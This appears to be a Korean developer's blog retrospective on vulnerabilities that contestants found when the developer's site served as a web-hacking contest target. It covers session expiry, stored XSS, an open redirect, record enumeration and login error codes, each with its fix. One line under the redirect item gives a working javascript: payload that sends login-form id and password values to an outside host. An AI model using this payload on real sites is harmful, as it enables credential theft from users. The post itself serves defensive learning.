올해 진행한 프로젝트 대상이 웹 해킹대회 사이트로 선정되어 대회에 강제(?) 참여하게 되었다. 😂
기존 프로젝트들을 하면서 문제가 되었던 취약점이나 문제되가 되는 개발 방식등을 최대한 보완하면서 개발을 했지만 사내분들에게 마구잡이식 테스트를 요청하니 생각보다 많은 오류가 발생하고 있었다.
한국인터넷진흥원 페이지에 접속하면 웹 취약점 메뉴얼이 존재하는데, 해당 메뉴얼을 보면서 위험한 부분을 테스트해보고 실제로 문제가 발생하는부분들은 최대한 막았다.
최대한 막는다고 막았지만 역시 복잡한 UI폼과 대회 전날까지의 디자인 수정 & 기능 수정 등으로 인해 몇가지 실수들이 있었고, 그건 바로 대회 참여자들이나... 화이트해커로 활동하는분들의 좋은 먹이감이 되었다.
아래는 최대한 막고도 털린 방법들이다.
1. 비밀번호 찾기 후 비밀번호 변경시 해당 계정으로 로그인된 세션이 존재하면 만료 처리해주기
-> 세션이 만료가 되어야 하는 이유로는 해커가 계정을 해킹해서 사용중일때, 만료시킴으로써 계정 보호를 할 수 있다.
2. 저장 가능한 입력 필드 XSS공격
-> 공격하는 방식들이 생각보다 많았는데, 대회 직전에 Naver사의 Lucy 필터를 급하게 적용하였지만, 사용법을 정확하게 숙지하지 못해 특정 페이지에 적용이 되지않아 해당 페이지에서 각종 다양한 XSS공격으로 접수되었다.
3. GET 방식으로 처리하는 리다이렉트 로그인 URL에서 파라미터를 탈취 후 스크립트 공격을 통해 다른 url등으로 넘기기 또는 강제 스크립트를 심어서 로그인 페이지의 id, pw탈취하기 등(개인정보 위험 심각)
-> 간단하게 로그인페이지에 접근 할때, 어떤 페이지를 통해 접근했는지 알기 위해 REDIRECT_URL이라는 파라미터에 어디로 바로 이동할지 page.do 형태로 심어뒀는데, 그 부분을 강제 변형하여 접근한 고객은 개인정보를 탈취 당할 수 있다는 문제였다. 생각보다 심각했는데, 알수없는 사람으로부터 전달받은 URL을 타고 접근시 얼마나 위험한지 알 수 있었고, 페이지에서도 정확하게 유효성 검증을 해줘야한다는걸 알게 해준 취약점이였다.
방식은 아래와 같다.
- https://127.0.0.1/login.do?REDIRECT_URL=main.do 와 같은 url이 존재할때 REDIRECT_URL이 취약한 현상
- javascript:fetch("https://hackingTest.net/userId="+document.getElementById(%27userId%27).value+"&userPw="+document.getElementById(%27userPw%27).value) 구문등을 통해 특정 사이트로 id, pw값을 바로 전달함
- 해당 사이트에서 로그인시 사용자의 id, pw값이 넘어오는것이 확인됨.
- 조치를 위해 REDIRECT_URL에 XSS공격 의심 데이터는 전부 빈값으로 처리, 사용가능한 특정 페이지 경로들이 아니면 전부 reject처리
4. 공지사항이나 자주하는질문등 한개의 테이블에서 데이터를 노출시키거나 보여주기, 안보여주기 기능이 있는 게시판의 경우
-> 공지사항 상세보기를 위해 PK값을 get방식으로 넘기고 해당 데이터를 노출시키는 형태의 페이지가 존재하는데 PK값을 무작위로 돌리다보면 공지사항과 상관없는 자주하는질문등이 나오거나 보여주면 안되는 데이터까지 노출되는 현상
조치를 위해 type값 등으로 공지사항에선 공지사항만, 자주하는질문에서는 자주하는질문만 상세값을 볼 수 있도록 수정
+ 보여주기 컬럼이 승인된 데이터만 보이도록 수정
5. 로그인 오류메시지를 통한 계정 정보 유추
-> 이건 조금 애매했는데, 로그인 실패시 오류 코드가 비밀번호가 틀린경우와 ID가 없는경우가 달랐는데, 오류 메시지만 "아이디 또는 비밀번호가 다릅니다." 로 노출했는데, 코드를 통해 비밀번호 유추 횟수를 줄일수 있다와 같은 취약점이였다. 5회 틀릴 시 계정잠금 + 강력한 조합 비밀번호 사용을 하는 사이트에서 해당 취약점인지 애매했다. 물론 코드는 통일화시켜 더더욱 정보 노출을 줄였다.
크게 정리를 해보니 이정도 이슈가 발생했던 것 같다.
2, 4번 항목의 경우 좀 더 테스트를 해봤으면 놓치지 않았을 항목인데 매우 아쉬웠고, 이번 대회를 통해 웹 사이트 보안에 좀 더 신경쓰게 되는 계기가 되었습니다.
다양한 케이스를 경험하고 메뉴얼등을 적용해보면서 취약점과 관련하여 많은 공부가 되었다.
'ETC. > 프로젝트 히스토리' 카테고리의 다른 글
Spring - was는 정상적으로 동작하지만 스케줄러가 동작하지 않는 현상 (0) | 2022.05.20 |
---|---|
IE(익스) 에서만 새로고침시 resources 파일들(js, css, image) 400 에러 발생 (0) | 2021.02.01 |
CentOS 8 에서 mysql 낮은 버전(5.5.40) 설치 실패 (0) | 2021.01.26 |
OutOfMemory, tomcat log 설정 문제(원본 소스가 없어요 ㅠ.ㅜ) (2) | 2020.06.04 |